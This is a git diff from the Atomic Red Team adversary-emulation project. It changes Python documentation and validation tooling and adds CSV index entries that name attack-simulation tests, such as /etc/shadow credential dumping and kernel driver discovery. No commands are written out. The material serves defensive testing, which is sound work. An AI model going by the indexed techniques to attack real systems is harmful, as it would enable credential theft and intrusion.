techniques[platform_key]["score"] += 1
|
||||
techniques[platform_key]["comment"] += f"- {atomic['name']}\n"
|
||||
|
||||
# Update the all techniques list
|
||||
self._update_techniques_list(
|
||||
techniques["all"],
|
||||
technique_parents["all"],
|
||||
platforms_data["all"],
|
||||
atomic_yaml,
|
||||
False,
|
||||
)
|
||||
|
||||
# Update platform-specific lists
|
||||
for platform_key in platform_patterns:
|
||||
if has_tests[platform_key]:
|
||||
self._update_techniques_list(
|
||||
techniques[platform_key],
|
||||
technique_parents[platform_key],
|
||||
platforms_data[platform_key],
|
||||
atomic_yaml,
|
||||
True,
|
||||
)
|
||||
|
||||
# Write layers
|
||||
layer_configs = [
|
||||
("all", "art-navigator-layer.json", "Atomic Red Team"),
|
||||
(
|
||||
"windows",
|
||||
"art-navigator-layer-windows.json",
|
||||
"Atomic Red Team (Windows)",
|
||||
),
|
||||
("macos", "art-navigator-layer-macos.json", "Atomic Red Team (macOS)"),
|
||||
("linux", "art-navigator-layer-linux.json", "Atomic Red Team (Linux)"),
|
||||
("iaas", "art-navigator-layer-iaas.json", "Atomic Red Team (Iaas)"),
|
||||
(
|
||||
"iaas_aws",
|
||||
"art-navigator-layer-iaas-aws.json",
|
||||
"Atomic Red Team (Iaas:AWS)",
|
||||
),
|
||||
(
|
||||
"iaas_azure",
|
||||
"art-navigator-layer-iaas-azure.json",
|
||||
"Atomic Red Team (Iaas:Azure)",
|
||||
),
|
||||
(
|
||||
"iaas_gcp",
|
||||
"art-navigator-layer-iaas-gcp.json",
|
||||
"Atomic Red Team (Iaas:GCP)",
|
||||
),
|
||||
(
|
||||
"containers",
|
||||
"art-navigator-layer-containers.json",
|
||||
"Atomic Red Team (Containers)",
|
||||
),
|
||||
(
|
||||
"google_workspace",
|
||||
"art-navigator-layer-google-workspace.json",
|
||||
"Atomic Red Team (Google-Workspace)",
|
||||
),
|
||||
(
|
||||
"azure_ad",
|
||||
"art-navigator-layer-azure-ad.json",
|
||||
"Atomic Red Team (Azure-AD)",
|
||||
),
|
||||
(
|
||||
"office_365",
|
||||
"art-navigator-layer-office-365.json",
|
||||
"Atomic Red Team (Office-365)",
|
||||
),
|
||||
("esxi", "art-navigator-layer-esxi.json", "Atomic Red Team (ESXi)"),
|
||||
]
|
||||
|
||||
for platform_key, filename, layer_name in layer_configs:
|
||||
layer = self._get_layer(platforms_data[platform_key], layer_name)
|
||||
output_path = output_dir / filename
|
||||
# Use separators without spaces to match Ruby's compact JSON output
|
||||
output_path.write_text(
|
||||
json.dumps(layer, separators=(",", ":")), encoding="utf-8"
|
||||
)
|
||||
print(f"Generated Atomic Red Team ATT&CK Navigator Layer at {output_path}")
|
||||
|
||||
|
||||
def generate_all_docs() -> Tuple[List[str], List[str]]:
|
||||
"""Generate all Atomic Red Team documentation."""
|
||||
return AtomicRedTeamDocs().generate_all_the_docs()
|
||||
@@ -134,19 +134,7 @@ class ManualExecutor(Executor):
|
||||
class CommandExecutor(Executor):
|
||||
name: Literal["powershell", "sh", "bash", "command_prompt"]
|
||||
command: constr(min_length=1)
|
||||
cleanup_command: Optional[constr(min_length=1)] = None
|
||||
|
||||
@field_validator("cleanup_command", mode="before")
|
||||
@classmethod
|
||||
def validate_cleanup_command(cls, v):
|
||||
"""Reject empty cleanup_command strings - treat them as None or error."""
|
||||
if v is not None and isinstance(v, str) and v.strip() == "":
|
||||
raise PydanticCustomError(
|
||||
"empty_cleanup_command",
|
||||
"'cleanup_command' shouldn't be empty. Provide a valid command or remove the key from YAML",
|
||||
{"loc": ["executor", "cleanup_command"], "input": v},
|
||||
)
|
||||
return v
|
||||
cleanup_command: Optional[str] = None
|
||||
|
||||
|
||||
class Dependency(BaseModel):
|
||||
@@ -267,10 +255,7 @@ class Technique(BaseModel):
|
||||
"empty_dependency_executor_name",
|
||||
"'dependency_executor_name' shouldn't be empty. Provide a valid value ['manual','powershell', 'sh', "
|
||||
"'bash', 'command_prompt'] or remove the key from YAML",
|
||||
{
|
||||
"loc": ["atomic_tests", i, "dependency_executor_name"],
|
||||
"input": value,
|
||||
},
|
||||
{"loc": ["atomic_tests", i, "dependency_executor_name"], "input": value},
|
||||
)
|
||||
return data
|
||||
|
||||
|
||||
@@ -5,20 +5,18 @@ import sys
|
||||
import urllib.parse
|
||||
from collections import defaultdict
|
||||
from functools import partial
|
||||
from pathlib import Path
|
||||
from typing import Annotated, Optional
|
||||
from typing import Annotated
|
||||
|
||||
import typer
|
||||
from pydantic import ValidationError
|
||||
|
||||
from atomic_red_team.common import atomics_path, used_guids_file
|
||||
from atomic_red_team.common import used_guids_file, atomics_path
|
||||
from atomic_red_team.guid import (
|
||||
generate_guids_for_yaml,
|
||||
get_unique_guid,
|
||||
)
|
||||
from atomic_red_team.labels import GithubAPI
|
||||
from atomic_red_team.models import Technique
|
||||
from atomic_red_team.utils import ATOMIC_RED_TEAM
|
||||
from atomic_red_team.validator import Validator, format_validation_error, yaml
|
||||
|
||||
app = typer.Typer(help="Atomic Red Team Maintenance tool CLI helper")
|
||||
@@ -109,67 +107,5 @@ def validate():
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
@app.command()
|
||||
def generate_docs(
|
||||
technique_id: Annotated[
|
||||
Optional[str],
|
||||
typer.Option(
|
||||
"--technique", "-t", help="Specific technique ID to generate docs for"
|
||||
),
|
||||
] = None,
|
||||
output_dir: Annotated[
|
||||
Optional[str],
|
||||
typer.Option("--output", "-o", help="Output directory for documentation"),
|
||||
] = None,
|
||||
full: Annotated[
|
||||
bool,
|
||||
typer.Option("--full", "-f", help="Generate all docs including indexes, matrices, and navigator layers"),
|
||||
] = False,
|
||||
):
|
||||
"""Generate Markdown documentation for atomic tests.
|
||||
|
||||
Use --full to generate all documentation including:
|
||||
- Individual technique markdown files
|
||||
- ATT&CK matrices (markdown)
|
||||
- Platform-specific indexes (markdown, CSV, YAML)
|
||||
- ATT&CK Navigator layers (JSON)
|
||||
"""
|
||||
if full:
|
||||
# Generate all documentation including indexes
|
||||
from atomic_red_team.doc_generator import generate_all_docs
|
||||
|
||||
oks, fails = generate_all_docs()
|
||||
if fails:
|
||||
sys.exit(len(fails))
|
||||
return
|
||||
|
||||
if output_dir is None:
|
||||
output_dir = atomics_path
|
||||
|
||||
if technique_id:
|
||||
# Generate docs for a specific technique
|
||||
technique_id = technique_id.upper()
|
||||
output_path = Path(output_dir) / technique_id / f"{technique_id}.md"
|
||||
try:
|
||||
ATOMIC_RED_TEAM.generate_technique_docs(technique_id, str(output_path))
|
||||
print(f"Generated documentation for {technique_id} at {output_path}")
|
||||
except ValueError as e:
|
||||
print(f"Error: {e}")
|
||||
sys.exit(1)
|
||||
else:
|
||||
# Generate docs for all techniques
|
||||
count = 0
|
||||
for atomic_yaml in ATOMIC_RED_TEAM.atomic_tests:
|
||||
tech_id = atomic_yaml.get("attack_technique", "").upper()
|
||||
if tech_id:
|
||||
output_path = Path(output_dir) / tech_id / f"{tech_id}.md"
|
||||
try:
|
||||
ATOMIC_RED_TEAM.generate_technique_docs(tech_id, str(output_path))
|
||||
count += 1
|
||||
except Exception as e:
|
||||
print(f"Error generating docs for {tech_id}: {e}")
|
||||
print(f"Generated documentation for {count} techniques")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
app()
|
||||
|
||||
@@ -1,374 +0,0 @@
|
||||
"""
|
||||
Atomic Red Team module for loading and managing atomic tests.
|
||||
|
||||
This module provides the AtomicRedTeam class that manages atomic tests,
|
||||
generates documentation, and provides various utility functions.
|
||||
|
||||
Optimized for speed with caching and efficient data structures.
|
||||
"""
|
||||
|
||||
import glob
|
||||
import re
|
||||
from concurrent.futures import ProcessPoolExecutor, as_completed
|
||||
from functools import lru_cache
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Pattern, Tuple, Union
|
||||
|
||||
import yaml # PyYAML is faster than ruamel.yaml for loading
|
||||
|
||||
try:
|
||||
from yaml import CSafeLoader as SafeLoader
|
||||
except ImportError:
|
||||
from yaml import SafeLoader
|
||||
|
||||
from jinja2 import Environment, FileSystemLoader
|
||||
|
||||
from atomic_red_team.attack_api import ATTACK_API
|
||||
from atomic_red_team.common import atomics_path
|
||||
|
||||
ROOT_GITHUB_URL = "https://github.com/redcanaryco/atomic-red-team"
|
||||
|
||||
|
||||
@lru_cache(maxsize=1)
|
||||
def _get_jinja_env() -> Environment:
|
||||
"""Get cached Jinja2 environment with custom filters."""
|
||||
template_dir = Path(__file__).parent
|
||||
env = Environment(
|
||||
loader=FileSystemLoader(template_dir),
|
||||
trim_blocks=True,
|
||||
lstrip_blocks=True,
|
||||
auto_reload=False, # Disable auto-reload for speed
|
||||
)
|
||||
# Add custom filters
|
||||
env.filters["get_language"] = get_language
|
||||
env.filters["cleanup"] = cleanup_for_markdown
|
||||
env.filters["slugify"] = slugify
|
||||
env.filters["platform_display"] = get_supported_platform_display
|
||||
return env
|
||||
|
||||
|
||||
@lru_cache(maxsize=1)
|
||||
def _get_template():
|
||||
"""Get cached compiled template."""
|
||||
return _get_jinja_env().get_template("atomic_doc_template.md.j2")
|
||||
|
||||
|
||||
def get_language(executor: str) -> str:
|
||||
"""Convert executor name to language identifier for code blocks."""
|
||||
if executor == "command_prompt":
|
||||
return "cmd"
|
||||
elif executor == "manual":
|
||||
return ""
|
||||
return executor
|
||||
|
||||
|
||||
def get_supported_platform_display(platform: str) -> str:
|
||||
"""Convert platform identifier to display name (matches Ruby behavior)."""
|
||||
# Ruby just capitalizes the first letter, except for 'macos' -> 'macOS'
|
||||
if platform == "macos":
|
||||
return "macOS"
|
||||
return platform.capitalize()
|
||||
|
||||
|
||||
def cleanup_for_markdown(value) -> str:
|
||||
"""Clean up a value for use in markdown tables."""
|
||||
if value is None:
|
||||
return ""
|
||||
return str(value).strip().replace("\\", "\")
|
||||
|
||||
|
||||
# Pre-compiled regex for slugify
|
||||
_SLUGIFY_PATTERN = re.compile(r"[`~!@#$%^&*()+=<>?,.\/:;\"'|{}\[\]\\–—]")
|
||||
|
||||
|
||||
def slugify(title: str) -> str:
|
||||
"""Convert a title to a URL-friendly slug."""
|
||||
slug = title.lower().replace(" ", "-")
|
||||
return _SLUGIFY_PATTERN.sub("", slug)
|
||||
|
||||
|
||||
def _load_yaml_file(path: str) -> Optional[dict]:
|
||||
"""Load a YAML file using fast PyYAML loader."""
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
return yaml.load(f, Loader=SafeLoader)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
class AtomicRedTeam:
|
||||
"""
|
||||
Main class for managing Atomic Red Team tests.
|
||||
|
||||
Provides methods for loading atomic tests, generating documentation,
|
||||
and validating YAML files. Optimized for speed.
|
||||
"""
|
||||
|
||||
def __init__(self, atomics_directory: Optional[str] = None):
|
||||
"""
|
||||
Initialize the AtomicRedTeam instance.
|
||||
|
||||
Args:
|
||||
atomics_directory: Path to the atomics directory.
|
||||
Defaults to the standard atomics path.
|
||||
"""
|
||||
self.atomics_directory = atomics_directory or atomics_path
|
||||
self._atomic_tests: Optional[List[dict]] = None
|
||||
self._atomic_tests_by_id: Optional[Dict[str, dict]] = None
|
||||
self._only_platform: Pattern = re.compile(r".*")
|
||||
|
||||
@property
|
||||
def only_platform(self) -> Pattern:
|
||||
"""Get the current platform filter pattern."""
|
||||
return self._only_platform
|
||||
|
||||
@only_platform.setter
|
||||
def only_platform(self, pattern: Pattern):
|
||||
"""Set the platform filter pattern."""
|
||||
self._only_platform = pattern
|
||||
|
||||
@property
|
||||
def atomic_test_paths(self) -> List[str]:
|
||||
"""Returns a list of paths that contain Atomic Tests."""
|
||||
pattern = f"{self.atomics_directory}/T*/T*.yaml"
|
||||
return sorted(glob.glob(pattern))
|
||||
|
||||
@property
|
||||
def atomic_tests(self) -> List[dict]:
|
||||
"""
|
||||
Returns a list of Atomic Tests in Atomic Red Team (as dicts from source YAML).
|
||||
"""
|
||||
if self._atomic_tests is not None:
|
||||
return self._atomic_tests
|
||||
|
||||
self._atomic_tests = []
|
||||
for path in self.atomic_test_paths:
|
||||
atomic_yaml = _load_yaml_file(path)
|
||||
if atomic_yaml:
|
||||
atomic_yaml["atomic_yaml_path"] = path
|
||||
self._atomic_tests.append(atomic_yaml)
|
||||
|
||||
return self._atomic_tests
|
||||
|
||||
def _get_atomic_by_id(self, technique_id: str) -> Optional[dict]:
|
||||
"""Get atomic test by technique ID using cached index."""
|
||||
if self._atomic_tests_by_id is None:
|
||||
self._atomic_tests_by_id = {}
|
||||
for test in self.atomic_tests:
|
||||
tid = test.get("attack_technique", "").upper()
|
||||
if tid:
|
||||
self._atomic_tests_by_id[tid] = test
|
||||
return self._atomic_tests_by_id.get(technique_id.upper())
|
||||
|
||||
def atomic_tests_for_technique(
|
||||
self, technique_or_identifier: Union[str, dict]
|
||||
) -> List[dict]:
|
||||
"""
|
||||
Returns the individual Atomic Tests for a given identifier.
|
||||
|
||||
Args:
|
||||
technique_or_identifier: Either a technique ID string (e.g., "T1234")
|
||||
or an ATT&CK technique object.
|
||||
|
||||
Returns:
|
||||
List of atomic test dictionaries.
|
||||
"""
|
||||
if isinstance(technique_or_identifier, dict):
|
||||
technique_identifier = ATTACK_API.technique_identifier_for_technique(
|
||||
technique_or_identifier
|
||||
)
|
||||
else:
|
||||
technique_identifier = technique_or_identifier
|
||||
|
||||
atomic_yaml = self._get_atomic_by_id(technique_identifier)
|
||||
return atomic_yaml.get("atomic_tests", []) if atomic_yaml else []
|
||||
|
||||
def atomic_tests_for_technique_by_platform(
|
||||
self, technique_or_identifier: Union[str, dict], platform: str
|
||||
) -> List[dict]:
|
||||
"""
|
||||
Returns the individual Atomic Tests for a given identifier filtered by platform.
|
||||
|
||||
Args:
|
||||
technique_or_identifier: Either a technique ID string (e.g., "T1234")
|
||||
or an ATT&CK technique object.
|
||||
platform: Platform to filter by (e.g., "windows", "linux", "macos").
|
||||
|
||||
Returns:
|
||||
List of atomic test dictionaries matching the platform.
|
||||
"""
|
||||
tests = self.atomic_tests_for_technique(technique_or_identifier)
|
||||
return [t for t in tests if platform in t.get("supported_platforms", [])]
|
||||
|
||||
def atomic_yaml_has_test_for_platform(
|
||||
self, yaml_file: str, only_platform: Pattern
|
||||
) -> bool:
|
||||
"""
|
||||
Check if a YAML file has tests for a given platform.
|
||||
|
||||
Args:
|
||||
yaml_file: Path to the YAML file.
|
||||
only_platform: Regex pattern to match platforms.
|
||||
|
||||
Returns:
|
||||
True if the file has tests for the platform.
|
||||
"""
|
||||
yaml_path = Path(yaml_file)
|
||||
if not yaml_path.exists():
|
||||
return False
|
||||
|
||||
data = _load_yaml_file(str(yaml_path))
|
||||
if not data or "atomic_tests" not in data:
|
||||
return False
|
||||
|
||||
for atomic in data["atomic_tests"]:
|
||||
for platform in atomic.get("supported_platforms", []):
|
||||
if only_platform.match(platform.lower()):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def github_link_to_technique(
|
||||
self,
|
||||
technique: dict,
|
||||
include_identifier: bool = False,
|
||||
only_platform: Optional[Pattern] = None,
|
||||
) -> str:
|
||||
"""
|
||||
Returns a Markdown formatted GitHub link to a technique.
|
||||
|
||||
This will be to the edit page for techniques that already have one or more
|
||||
Atomic Red Team tests, or the create page for techniques that have no
|
||||
existing tests for the given OS.
|
||||
|
||||
Args:
|
||||
technique: ATT&CK technique dictionary.
|
||||
include_identifier: Whether to include the technique ID in the link text.
|
||||
only_platform: Platform pattern filter. Defaults to instance's only_platform.
|
||||
|
||||
Returns:
|
||||
Markdown formatted link string.
|
||||
"""
|
||||
if only_platform is None:
|
||||
only_platform = self._only_platform
|
||||
|
||||
technique_identifier = ATTACK_API.technique_identifier_for_technique(
|
||||
technique
|
||||
).upper()
|
||||
|
||||
# Use display_name from atomic YAML if available (has full name for sub-techniques)
|
||||
atomic_yaml = self._get_atomic_by_id(technique_identifier)
|
||||
if atomic_yaml:
|
||||
technique_name = atomic_yaml.get("display_name", technique.get("name", ""))
|
||||
else:
|
||||
technique_name = technique.get("name", "")
|
||||
|
||||
link_display = technique_name
|
||||
if include_identifier:
|
||||
link_display = f"{technique_identifier} {technique_name}"
|
||||
|
||||
yaml_file = f"{self.atomics_directory}/{technique_identifier}/{technique_identifier}.yaml"
|
||||
markdown_file = f"{self.atomics_directory}/{technique_identifier}/{technique_identifier}.md"
|
||||
|
||||
if (
|
||||
self.atomic_yaml_has_test_for_platform(yaml_file, only_platform)
|
||||
and Path(markdown_file).exists()
|
||||
):
|
||||
return f"[{link_display}](../../{technique_identifier}/{technique_identifier}.md)"
|
||||
else:
|
||||
return f"{link_display} [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)"
|
||||
|
||||
def generate_technique_docs(
|
||||
self, technique_identifier: str, output_path: Optional[str] = None
|
||||
) -> str:
|
||||
"""
|
||||
Generate Markdown documentation for a technique.
|
||||
|
||||
Args:
|
||||
technique_identifier: The technique ID (e.g., "T1059").
|
||||
output_path: Optional path to write the output. If None, returns the content.
|
||||
|
||||
Returns:
|
||||
The generated Markdown content.
|
||||
"""
|
||||
technique_identifier = technique_identifier.upper()
|
||||
|
||||
# Find the atomic YAML using cached index
|
||||
atomic_yaml = self._get_atomic_by_id(technique_identifier)
|
||||
|
||||
if not atomic_yaml:
|
||||
raise ValueError(
|
||||
f"No atomic tests found for technique {technique_identifier}"
|
||||
)
|
||||
|
||||
# Get technique info from ATT&CK for description
|
||||
technique_info = ATTACK_API.technique_info(technique_identifier)
|
||||
technique = {
|
||||
"identifier": technique_identifier,
|
||||
"name": atomic_yaml.get("display_name", ""),
|
||||
"description": technique_info.get("description", "") if technique_info else "",
|
||||
}
|
||||
|
||||
# Render using cached template
|
||||
template = _get_template()
|
||||
content = template.render(
|
||||
technique=technique,
|
||||
atomic_yaml=atomic_yaml,
|
||||
)
|
||||
content = content.rstrip() + "\n"
|
||||
|
||||
if output_path:
|
||||
Path(output_path).write_text(content, encoding="utf-8")
|
||||
|
||||
return content
|
||||
|
||||
def generate_all_docs(self, parallel: bool = True) -> Dict[str, str]:
|
||||
"""
|
||||
Generate documentation for all techniques.
|
||||
|
||||
Args:
|
||||
parallel: Whether to use parallel processing.
|
||||
|
||||
Returns:
|
||||
Dictionary mapping technique IDs to their generated documentation.
|
||||
"""
|
||||
docs = {}
|
||||
technique_ids = [
|
||||
test.get("attack_technique", "").upper()
|
||||
for test in self.atomic_tests
|
||||
if test.get("attack_technique")
|
||||
]
|
||||
|
||||
if parallel:
|
||||
# Use parallel processing
|
||||
# Create a standalone function for ProcessPoolExecutor
|
||||
def _generate_doc_worker(args: Tuple[str, str]) -> Tuple[str, str]:
|
||||
technique_id, atomics_directory = args
|
||||
from atomic_red_team.utils import AtomicRedTeam
|
||||
art = AtomicRedTeam(atomics_directory=atomics_directory)
|
||||
return (technique_id, art.generate_technique_docs(technique_id))
|
||||
|
||||
with ProcessPoolExecutor() as executor:
|
||||
future_to_id = {
|
||||
executor.submit(_generate_doc_worker, (tid, self.atomics_directory)): tid
|
||||
for tid in technique_ids
|
||||
}
|
||||
for future in as_completed(future_to_id):
|
||||
tid = future_to_id[future]
|
||||
try:
|
||||
docs[tid] = future.result()
|
||||
except Exception as e:
|
||||
print(f"Error generating docs for {tid}: {e}")
|
||||
else:
|
||||
# Sequential processing
|
||||
for tid in technique_ids:
|
||||
try:
|
||||
docs[tid] = self.generate_technique_docs(tid)
|
||||
except Exception as e:
|
||||
print(f"Error generating docs for {tid}: {e}")
|
||||
|
||||
return docs
|
||||
|
||||
|
||||
# Singleton instance for convenience
|
||||
ATOMIC_RED_TEAM = AtomicRedTeam()
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1861,6 +1861,10 @@ discovery,T1615,Group Policy Discovery,3,WinPwn - GPOAudit,bc25c04b-841e-4965-85
|
||||
discovery,T1615,Group Policy Discovery,4,WinPwn - GPORemoteAccessPolicy,7230d01a-0a72-4bd5-9d7f-c6d472bc6a59,powershell
|
||||
discovery,T1615,Group Policy Discovery,5,MSFT Get-GPO Cmdlet,52778a8f-a10b-41a4-9eae-52ddb74072bf,powershell
|
||||
discovery,T1652,Device Driver Discovery,1,Device Driver Discovery,235b30a2-e5b1-441f-9705-be6231c88ddd,powershell
|
||||
discovery,T1652,Device Driver Discovery,2,Device Driver Discovery (Linux),d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1,bash
|
||||
discovery,T1652,Device Driver Discovery,3,Enumerate Kernel Driver Files (Linux),13c0fef5-9be9-4d7f-9c6b-901624e53770,bash
|
||||
discovery,T1652,Device Driver Discovery,4,List loaded kernel extensions (macOS),71eab73d-5d7d-4681-9a72-7873489a5b85,bash
|
||||
discovery,T1652,Device Driver Discovery,5,Find Kernel Extensions (macOS),c63bbe52-6f17-4832-b221-f07ba8b1736f,bash
|
||||
discovery,T1087.002,Account Discovery: Domain Account,1,Enumerate all accounts (Domain),6fbc9e68-5ad7-444a-bd11-8bf3136c477e,command_prompt
|
||||
discovery,T1087.002,Account Discovery: Domain Account,2,Enumerate all accounts via PowerShell (Domain),8b8a6449-be98-4f42-afd2-dedddc7453b2,powershell
|
||||
discovery,T1087.002,Account Discovery: Domain Account,3,Enumerate logged on users via CMD (Domain),161dcd85-d014-4f5e-900c-d3eaae82a0f7,command_prompt
|
||||
@@ -1923,6 +1927,10 @@ discovery,T1007,System Service Discovery,1,System Service Discovery,89676ba1-b1f
|
||||
discovery,T1007,System Service Discovery,2,System Service Discovery - net.exe,5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3,command_prompt
|
||||
discovery,T1007,System Service Discovery,3,System Service Discovery - systemctl/service,f4b26bce-4c2c-46c0-bcc5-fce062d38bef,bash
|
||||
discovery,T1007,System Service Discovery,4,Get-Service Execution,51f17016-d8fa-4360-888a-df4bf92c4a04,command_prompt
|
||||
discovery,T1007,System Service Discovery,5,System Service Discovery - macOS launchctl,9b378962-a75e-4856-b117-2503d6dcebba,sh
|
||||
discovery,T1007,System Service Discovery,6,System Service Discovery - Windows Scheduled Tasks (schtasks),7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a,command_prompt
|
||||
discovery,T1007,System Service Discovery,7,System Service Discovery - Services Registry Enumeration,d70d82bd-bb00-4837-b146-b40d025551b2,powershell
|
||||
discovery,T1007,System Service Discovery,8,System Service Discovery - Linux init scripts,8f2a5d2b-4018-46d4-8f3f-0fea53754690,sh
|
||||
discovery,T1040,Network Sniffing,1,Packet Capture Linux using tshark or tcpdump,7fe741f7-b265-4951-a7c7-320889083b3e,bash
|
||||
discovery,T1040,Network Sniffing,2,Packet Capture FreeBSD using tshark or tcpdump,c93f2492-9ebe-44b5-8b45-36574cccfe67,sh
|
||||
discovery,T1040,Network Sniffing,3,Packet Capture macOS using tcpdump or tshark,9d04efee-eff5-4240-b8d2-07792b873608,bash
|
||||
@@ -2039,8 +2047,11 @@ discovery,T1083,File and Directory Discovery,8,Identifying Network Shares - Linu
|
||||
discovery,T1083,File and Directory Discovery,9,Recursive Enumerate Files And Directories By Powershell,95a21323-770d-434c-80cd-6f6fbf7af432,powershell
|
||||
discovery,T1049,System Network Connections Discovery,1,System Network Connections Discovery,0940a971-809a-48f1-9c4d-b1d785e96ee5,command_prompt
|
||||
discovery,T1049,System Network Connections Discovery,2,System Network Connections Discovery with PowerShell,f069f0f1-baad-4831-aa2b-eddac4baac4a,powershell
|
||||
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,4,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
|
||||
discovery,T1049,System Network Connections Discovery,3,System Network Connections Discovery via PowerShell (Process Mapping),b52c8233-8f71-4bd7-9928-49fec8215cf5,powershell
|
||||
discovery,T1049,System Network Connections Discovery,4,System Network Connections Discovery via ss or lsof (Linux/MacOS),bcf05343-ef1d-4052-8a27-b00c9be42b9f,bash
|
||||
discovery,T1049,System Network Connections Discovery,5,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,6,"System Network Connections Discovery via sockstat (Linux, FreeBSD)",997bb0a6-421e-40c7-b5d2-0f493904ef9b,sh
|
||||
discovery,T1049,System Network Connections Discovery,7,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
|
||||
discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh
|
||||
discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell
|
||||
discovery,T1619,Cloud Storage Object Discovery,3,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
|
||||
|
||||
|
@@ -332,6 +332,8 @@ credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.pas
|
||||
credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",5,"Access /etc/{shadow,passwd,master.passwd} with shell builtins",f5aa6543-6cb2-4fae-b9c2-b96e14721713,sh
|
||||
discovery,T1033,System Owner/User Discovery,2,System Owner/User Discovery,2a9b677d-a230-44f4-ad86-782df1ef108c,sh
|
||||
discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,2,"Check internet connection using ping freebsd, linux or macos",be8f4019-d8b6-434c-a814-53123cdcc11e,bash
|
||||
discovery,T1652,Device Driver Discovery,2,Device Driver Discovery (Linux),d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1,bash
|
||||
discovery,T1652,Device Driver Discovery,3,Enumerate Kernel Driver Files (Linux),13c0fef5-9be9-4d7f-9c6b-901624e53770,bash
|
||||
discovery,T1087.002,Account Discovery: Domain Account,23,Active Directory Domain Search,096b6d2a-b63f-4100-8fa0-525da4cd25ca,sh
|
||||
discovery,T1087.002,Account Discovery: Domain Account,24,Account Enumeration with LDAPDomainDump,a54d497e-8dbe-4558-9895-44944baa395f,sh
|
||||
discovery,T1087.001,Account Discovery: Local Account,1,Enumerate all accounts (Local),f8aab3dd-5990-4bf8-b8ab-2226c951696f,sh
|
||||
@@ -344,6 +346,7 @@ discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,1,Detect Virtu
|
||||
discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,2,Detect Virtualization Environment (FreeBSD),e129d73b-3e03-4ae9-bf1e-67fc8921e0fd,sh
|
||||
discovery,T1069.002,Permission Groups Discovery: Domain Groups,15,Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS,d58d749c-4450-4975-a9e9-8b1d562755c2,sh
|
||||
discovery,T1007,System Service Discovery,3,System Service Discovery - systemctl/service,f4b26bce-4c2c-46c0-bcc5-fce062d38bef,bash
|
||||
discovery,T1007,System Service Discovery,8,System Service Discovery - Linux init scripts,8f2a5d2b-4018-46d4-8f3f-0fea53754690,sh
|
||||
discovery,T1040,Network Sniffing,1,Packet Capture Linux using tshark or tcpdump,7fe741f7-b265-4951-a7c7-320889083b3e,bash
|
||||
discovery,T1040,Network Sniffing,2,Packet Capture FreeBSD using tshark or tcpdump,c93f2492-9ebe-44b5-8b45-36574cccfe67,sh
|
||||
discovery,T1040,Network Sniffing,10,Packet Capture FreeBSD using /dev/bpfN with sudo,e2028771-1bfb-48f5-b5e6-e50ee0942a14,sh
|
||||
@@ -369,7 +372,9 @@ discovery,T1016,System Network Configuration Discovery,3,System Network Configur
|
||||
discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,ffc8b249-372a-4b74-adcd-e4c0430842de,sh
|
||||
discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery 2,13c5e1ae-605b-46c4-a79f-db28c77ff24e,sh
|
||||
discovery,T1083,File and Directory Discovery,8,Identifying Network Shares - Linux,361fe49d-0c19-46ec-a483-ccb92d38e88e,sh
|
||||
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,4,System Network Connections Discovery via ss or lsof (Linux/MacOS),bcf05343-ef1d-4052-8a27-b00c9be42b9f,bash
|
||||
discovery,T1049,System Network Connections Discovery,5,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,6,"System Network Connections Discovery via sockstat (Linux, FreeBSD)",997bb0a6-421e-40c7-b5d2-0f493904ef9b,sh
|
||||
discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh
|
||||
discovery,T1069.001,Permission Groups Discovery: Local Groups,1,Permission Groups Discovery (Local),952931a4-af0b-4335-bbbe-73c8c5b327ae,sh
|
||||
discovery,T1201,Password Policy Discovery,1,Examine password complexity policy - Ubuntu,085fe567-ac84-47c7-ac4c-2688ce28265b,bash
|
||||
|
||||
|
@@ -221,6 +221,8 @@ credential-access,T1056.002,Input Capture: GUI Input Capture,3,AppleScript - Spo
|
||||
credential-access,T1110.004,Brute Force: Credential Stuffing,2,SSH Credential Stuffing From MacOS,d546a3d9-0be5-40c7-ad82-5a7d79e1b66b,bash
|
||||
